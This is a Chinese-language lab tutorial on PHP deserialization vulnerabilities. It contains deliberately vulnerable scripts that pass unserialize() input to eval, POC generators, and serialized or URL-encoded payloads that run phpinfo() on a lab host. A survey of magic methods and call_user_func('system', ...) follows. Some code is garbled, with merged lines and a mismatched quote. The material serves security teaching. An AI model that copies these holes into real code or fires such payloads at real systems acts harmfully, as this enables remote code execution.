反序列化漏洞(1), 原理, 实验, 魔术方法

反序列化漏洞(1), 原理, 实验, 魔术方法

一, 介绍

反序列化漏洞是一种存在于反序列化过程中的漏洞,它允许攻击者通过控制反序列化的数据来操纵序列化对象,并将有害数据传递给应用程序代码。

这种漏洞可能造成代码执行、获取系统权限等一系列不可控的后果。在PHP、Java、Python等语言中都存在这种反序列化漏洞。

在PHP中,反序列化漏洞主要出现在对用户输入的反序列化字符串没有进行正确检测和过滤的情况下,这可能导致恶意攻击者通过控制反序列化的数据来执行任意的PHP代码。

二, 漏洞实验

1. 实验1, 基本原理
(1) 准备后端php脚本basic.php

class People {
    var $name = ''; 
    var $sex = '';
    var $age = 0;
    var $addr = '';

    // 魔术方法:__construct,指类在实例化的时候会,自动调用
    function __construct($name='张三', $sex='男', $age=30, $addr='成都高新区') {
        $this->name = $name;
        $this->sex = $sex;
        $this->age = $age;
        $this->addr = $addr;
        echo "正在初始化. 
"
; } // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用 function __destruct() { echo "正在释放资源.
"
; } // 魔术方法:__sleep,在类实例被序列化时,自动调用 function __sleep() { echo "正在序列化.
"
; // 返回一个由序列化类的属性名构成的数组 return array('name', 'sex', 'age', 'addr'); } // 魔术方法:__wakeup,在字符串被反序列化成对象时,自动调用 // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct function __wakeup() { echo "正在被反序列化.
"
; } function getName() { echo $this->name . "
"
; } } class Test { public $phone = ''; var $ip = ''; public function __wakeup () { $this->getPhone(); } public function __destruct() { echo $this->getIp(); } public function getPhone() { echo $this->phone; @eval($this->phone); } public function getIp() { echo $this->ip; } } $source = $_POST['source']; $p2 = unserialize($source); ?>

上面的代码定义了两个类 PeopleTest , post方法的source参数用户可控, unserialize 方法将source传入的字符串进行反序列化.
反序列化开始后, 先调用__wakeup方法, 再调用__destruct方法.
那么攻击者可以通过输入source参数来控制后端实例化某个对象, 实例化的对象会自动调用__wakeup方法.

(2) 利用漏洞.

下面的post请求使后端php代码实例化Test对象, 传入对象的属性phone的值为phpinfo();, 接着自动调用 __wakeup 方法, 调用getPhone方法,
@eval($this->phone); 通过eval函数执行phpinfo().
那么通过post提交不同的对象属性值即可执行不同的命令.

url: http://192.168.112.200/security/unserial/basic.php
payload: source=O:4:"Test":1:{s:5:"phone";s:10:"phpinfo();";}

当然自己手动来写序列化后的字符串容易出错, 我们可以制作一个php脚本POC, 用来把序列化后的字符串显示出来再使用.

class Test{
    public $phone = '';
    var $ip = '';
}
$t = new Test();
$t->phone = 'phpinfo();';
$t->ip = "127.0.0.2';
echo serialize($t);
2. 实验2, 编写POC
(1) 后端php脚本

ustest-1.php



class Csdn {
    var $a;
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    var $data;

    function hello() {
        @eval($this->data);
    }
}

unserialize($_GET['code']);

?>
(2) 编写poc脚本获取序列化字符串

我们最终需要调用Vule的hello方法来执行命令.
虽然在源码中Csdn__construct生成的是Test对象, 我们可以通过自己构造一个poc脚本改成Vul对象, 这样就能在后续的__destruct方法中调用到Vul对象的hello方法, 而不是原本Testhello方法.
poc脚本的关键在于修改Csdn的属性a, 和Vul的属性data.



class Csdn {
    var $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul {
    var $data = "phpinfo();";
}

echo serialize(new Csdn());

?>

结果:

O:5:"Csdn":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
(3) 利用漏洞

发送GET请求:

192.168.112.200/security/unserial/ustest-1.php
?code=O:5:"Csdn":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
3. 实验3 带有访问修饰符的变量
(1)后端php脚本

class Csdn {
    private $a; // 访问修饰
    
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    protected $data; // 访问修饰

    function hello() {
        @eval($this->data);
    }
}

unserialize($_GET['code']);
?>
(2) 编写poc脚本获取序列化字符串

需要注意poc中的变量修饰需要跟后端的类定义保持一直才有效.



class Csdn {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul {
    protected $data = "phpinfo();";
}

echo serialize(new Csdn());

?>

结果:

O:5:"Csdn":1:{s:8:"Csdna";O:3:"Vul":1:{s:7:"*data";s:10:"phpinfo();";}}

从结果中发现序列化后的数据和长度不一致, 比如s:8:"Csdna";, 所以这里的字符串还不是有效的, 直接复制出来无法使用.

这是因为对于私有修饰的变量, 序列化后会将变量所属的类名也带上, 且中间有一个不可见的分隔符%00.
s:7:"*data";这里的长度看起来也不对, 这里也存在不可见字符没有显示出来. 通过查看源码可以看到不可见的字符位置. 对于不可见字符无法直接复制出来使用.

对于这种情况, 需要对序列化后的字符串进行url编码.

echo urlencode(serialize(new Csdn()));

结果:

O%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
(3) 利用漏洞

发送GET请求:

192.168.112.200/security/unserial/ustest-1.php
?code=O%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

三, 反序列化相关的魔术方法

1. 反序列化的常见起点:

__wakeup(): 当一个对象被反序列化(unserialize)时,__wakeup方法会被自动调用。这个方法通常用于重新建立数据库连接或执行其他初始化操作。
__destruct(): 这个方法在对象销毁时调用。虽然它不是反序列化的直接部分,但是它可能在反序列化对象的生命周期结束时被触发。
__toString(): 如果一个被反序列化的对象被当做字符串使用,例如在echo语句中,__toString方法会被调用。它允许对象决定如何响应字符串化。

2. 反序列化的常见中间跳板:

__toString(): 如上所述,这个方法在对象被当作字符串处理时调用。
__get(): 当读取对象中不可访问或不存在的属性时,会调用这个方法。它可以用于拦截这些属性的读取操作。
__set(): 类似于__get,但这个方法在给不可访问或不存在的属性赋值时被调用。
__isset(): 当对不可访问或不存在的属性使用isset()或empty()函数时,此方法被调用。它通常用于检查一个属性是否设置。

3. 反序列化的常见终点:

__call(): 当尝试调用对象中不可访问或不存在的方法时,会调用此方法。
call_user_func(): 这是PHP的一个函数,用于调用回调函数。在反序列化中,它可能被用来执行某些动作。
call_user_func_array(): 类似于call_user_func,但它允许传递参数数组给回调函数。

在一些web框架中经常会使用 call_user_func_array() 函数来执行php代码, 而不是直接使用eval函数.以下是一些代码案例:



function demo($a, $b) {
    echo $a + $b;
    echo "
"
; } class Test { function add($a, $b) { echo $a + $b; echo "
"
; } function __call($name, $args) { echo $name . " 方法不存在.
"
; var_dump($args) . "
"
; } } // 使用 call_user_func 调用 call_user_func('demo', 100, 200); call_user_func(array('Test', 'add'), 1000, 2000); // call_user_func_array函数和call_user_func很相似,只是换了一种方式传递参数,让参数的结构更清晰 call_user_func_array('demo', array(120, 220)); call_user_func_array(array('Test', 'add'), array(1200, 2200)); // 当调用不存在的方法时,__call会被触发 $t = new Test(); $t->minus(111,222); call_user_func('system', 'ifconfig'); call_user_func_array('system', [new Test(), 'ifconfig']); ?>

你可能感兴趣的:(渗透测试,安全,android)